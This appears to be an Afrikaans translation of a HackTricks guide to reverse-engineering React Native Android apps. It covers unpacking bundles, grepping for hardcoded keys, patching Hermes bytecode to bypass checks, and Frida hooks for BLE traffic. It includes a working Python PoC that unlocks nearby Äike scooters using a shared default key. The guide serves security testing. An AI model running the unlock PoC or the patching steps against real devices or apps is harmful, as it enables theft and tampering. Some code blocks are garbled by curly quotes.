React Native Toepassingsanalise
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Om te bevestig of die toepassing op die React Native-raamwerk gebou is, volg hierdie stappe:
-
Hernoem die APK-lêer na ’n zip-uitbreiding en pak dit uit in ’n nuwe folder met die opdrag
cp com.example.apk example-apk.zipenunzip -qq example-apk.zip -d ReactNative. -
Gaan na die nuut geskepte ReactNative folder en lokaliseer die assets folder. Binne hierdie folder behoort jy die lêer
index.android.bundlete vind, wat die React JavaScript in ’n geminifiseerde formaat bevat. -
Gebruik die opdrag
find . -print | grep -i ".bundle$"om na die JavaScript-lêer te soek.
Note: If you are given an Android App Bundle (.aab) instead of an APK, generate a universal APK first and then extract the bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
JavaScript-kode
As jy die inhoud van die index.android.bundle nagaan, sal jy die JavaScript-kode van die toepassing vind (selfs al is dit geminimaliseer). Jy kan dit analiseer om sensitiewe inligting en kwesbaarhede te vind.
Aangesien die bundle in werklikheid al die JS-kode van die toepassing bevat, is dit moontlik om dit te verdeel in verskillende lêers (wat potensieel die reverse engineering vergemaklik) deur die hulpmiddel react-native-decompiler te gebruik.
Webpack
Om die JavaScript-kode verder te analiseer, kan jy die lêer oplaai na https://spaceraccoon.github.io/webpack-exploder/ of volg hierdie stappe:
- Skep ’n lêer met die naam
index.htmlin dieselfde gids met die volgende kode:
<script src="./index.android.bundle"></script>
-
Maak die
index.html-lêer in Google Chrome oop. -
Maak die Developer Toolbar oop deur Command+Option+J vir OS X of Control+Shift+J vir Windows te druk.
-
Klik op “Sources” in die Developer Toolbar. Jy behoort ’n JavaScript-lêer te sien wat in vouers en lêers verdeel is en die hoof-bundle vorm.
As jy ’n lêer met die naam index.android.bundle.map vind, kan jy die source code in ’n nie-geminifiseerde formaat ontleed. Map-lêers bevat source mapping, wat jou toelaat om geminifiseerde identifiseerders te map.
Om na sensitiewe credentials en endpoints te soek, volg hierdie stappe:
-
Identifiseer sensitiewe sleutelwoorde om die JavaScript-kode te analiseer. React Native-toepassings gebruik dikwels derdeparty-dienste soos Firebase, AWS S3 service endpoints, private sleutels, ens.
-
In hierdie spesifieke geval is waargeneem dat die toepassing die Dialogflow-diens gebruik. Soek na ’n patroon wat verband hou met sy konfigurasie.
-
Dit was geluk dat sensitiewe hardgekodeerde credentials tydens die recon-proses in die JavaScript-kode gevind is.
Vinnige geheime- en endpoint-ondersoek in bundles
Hierdie eenvoudige greps bring dikwels interessante indikatore na vore selfs in geminifiseerde JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
As jy vermoed daar is Over-The-Air-opdateringsraamwerke, soek ook na:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuration (
expo-updates,expo\.io, signing certs)
Verander JS-kode en herbou
In hierdie geval is dit maklik om die kode te verander. Jy hoef net die app te hernoem sodat dit die uitbreiding .zip gebruik en dit uit te pak. Dan kan jy wysig die JS-kode binne hierdie bundel en herbou die app. Dit behoort genoeg te wees om jou in staat te stel om inject code in die app vir toetsdoeleindes.
Hermes bytecode
As die bundel Hermes bytecode bevat, sal jy nie toegang tot die Javascript code hê nie van die app (nie eens die geminifiseerde weergawe nie).
Jy kan nagaan of die bundel Hermes bytecode bevat deur die volgende opdrag uit te voer:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
Jy kan egter die gereedskap hbctool, opgedateerde forks van hbctool wat nuwer bytecode-weergawes ondersteun, hasmer, hermes_rs (Rust library/APIs), of hermes-dec gebruik om disassemble the bytecode en ook om decompile it to some pseudo JS code. Byvoorbeeld:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Tip: Die open-source Hermes-projek stuur ook ontwikkelaargereedskap soos hbcdump in spesifieke Hermes-releases. As jy die ooreenstemmende Hermes-weergawe bou wat gebruik is om die bundle te produseer, kan hbcdump funksies, string-tabelle en bytecode uitgooi vir dieper analise.
Change code and rebuild (Hermes)
Ideaal gesproke behoort jy die gedisassembleerde kode te kan wysig (deur ’n vergelyking te verander, of ’n waarde of enigiets anders wat jy moet wysig) en dan die bytecode herbou en die app weer bou.
- Die oorspronklike hbctool ondersteun disassembling van die bundle en om dit terug te bou ná veranderinge, maar histories het dit slegs ouer bytecode-weergawes ondersteun. Community-onderhoude forks brei ondersteuning uit na nuwer Hermes-weergawes (insluitend mid-80s–96) en is dikwels die mees praktiese opsie om moderne RN-apps te patch.
- Die gereedskap hermes-dec ondersteun nie die herbou van die bytecode nie (decompiler/disassembler only), maar dit is baie nuttig om deur logika te navigeer en strings uit te dump.
- Die gereedskap hasmer poog om beide disassembly en assembly vir meerdere Hermes-weergawes te ondersteun; assembling is nog in ontwikkeling maar die moeite werd om op onlangse bytecode te probeer.
’n minimale workflow met hbctool-agtige assemblers:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Let wel dat die Hermes bytecode-formaat in weergawes is en die assembler presies by die on-disk-formaat moet pas. As jy formaatfoute kry, skakel oor na ’n bygewerkte fork/alternatief of herbou die ooreenstemmende Hermes tooling.
Dinamiese Analise
Een manier om die app dinamies te analiseer, is om Frida te gebruik om die ontwikkelaarsmodus van die React-app te aktiveer en react-native-debugger te gebruik om daaraan te koppel. Vir dit het jy blykbaar die bronkode van die app nodig. Meer inligting hieroor is te vind by https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.
Dev Support in release met Frida inskakel (waarskuwings)
Sommige apps sluit per ongeluk klasse in wat Dev Support omskakelbaar maak. As dit teenwoordig is, kan jy probeer om getUseDeveloperSupport() te dwing om true terug te gee:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Waarskuwing: In behoorlik saamgestelde release-builds word DevSupportManagerImpl en verwante slegs-debug-klasse gestript, en om hierdie vlag om te skakel kan die app laat crash of geen effek hê nie. Wanneer dit werk, kan jy gewoonlik die dev-menu openbaar maak en debuggers/inspectors koppel.
Network interception in RN apps
React Native op Android vertrou tipies op OkHttp onder die kap (via die Networking native module). Om verkeer op ’n nie-geroote toestel tydens dinamiese toetse te onderskep/observeer:
- Use system proxy + trust user CA or use other generic Android TLS bypass techniques.
- RN-spesifieke wenk: as die app per ongeluk Flipper in die release inpak (debug tooling), kan die Flipper Network plugin versoeke/antwoorde openbaar.
For generic Android interception and pinning bypass techniques refer to:
Make APK Accept CA Certificate
Runtime GATT protocol discovery with Frida (Hermes-friendly)
Wanneer Hermes-bytecode maklike statiese inspeksie van die JS blokkeer, haak eerder in die Android BLE-stapel in. android.bluetooth.BluetoothGatt en BluetoothGattCallback openbaar alles wat die app stuur/ontvang, waardeur jy eienaar challenge-response en command frames kan omkeer sonder JS-bron.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest` om hash-gebaseerde handshakes te fingerprint en die presiese invoer-konkatenasie vas te vang:
<details>
<summary>Frida MessageDigest tracer (algoritme, invoer, uitvoer)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
’n werklike BLE-vloei wat op hierdie wyse herstel is:
- Lees challenge vanaf
00002556-1212-efde-1523-785feabcd123. - Bereken
response = SHA1(challenge || key)waar die key was ’n 20-byte default van 0xFF wat oor alle toestelle geprovisioneer is. - Skryf die response na
00002557-1212-efde-1523-785feabcd123, en stuur dan commands na0000155f-1212-efde-1523-785feabcd123.
Sodra authenticated, was commands 10-byte frames na ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Voorbeelde: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Notifications het by 0000155e-1212-efde-1523-785feabcd123 aangekom (2-byte registry + payload), en registry-waardes kon gepoll word deur die registry ID na 00001564-1212-efde-1523-785feabcd123 te skryf en dan terug te lees vanaf ...155f....
Met ’n shared/default key kollapseer die challenge-response. Enige nabygeleë attacker kan die digest bereken en privileged commands stuur. ’n minimale bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Onlangse probleme in gewilde RN-biblioteke (waarop om te let)
Wanneer u derdeparty-modules oudit wat sigbaar is in die JS-bundel of native libs, kyk vir bekende kwetsbaarhede en verifieer weergawes in `package.json`/`yarn.lock`.
- react-native-mmkv (Android): weergawes voor 2.11.0 het die opsionele enkripsiesleutel na Android logs gelog. As ADB/logcat beskikbaar is, kon geheime herwin word. Maak seker >= 2.11.0. Indikatore: gebruik van `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: weergawes < 9.1.1 was kwesbaar vir path traversal on Android (file selection), reggestel in 9.1.1. Valideer insette en biblioteekweergawe.
Vinnige kontroles:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
Verwysings
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv log die enkripsiesleutel op Android (NVD)
- hbctool (en forks) vir Hermes assemble/disassemble
- Äike BLE authentication bypass: standaard BLE private key laat toe om enige nabygeleë scooter te ontsluit
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


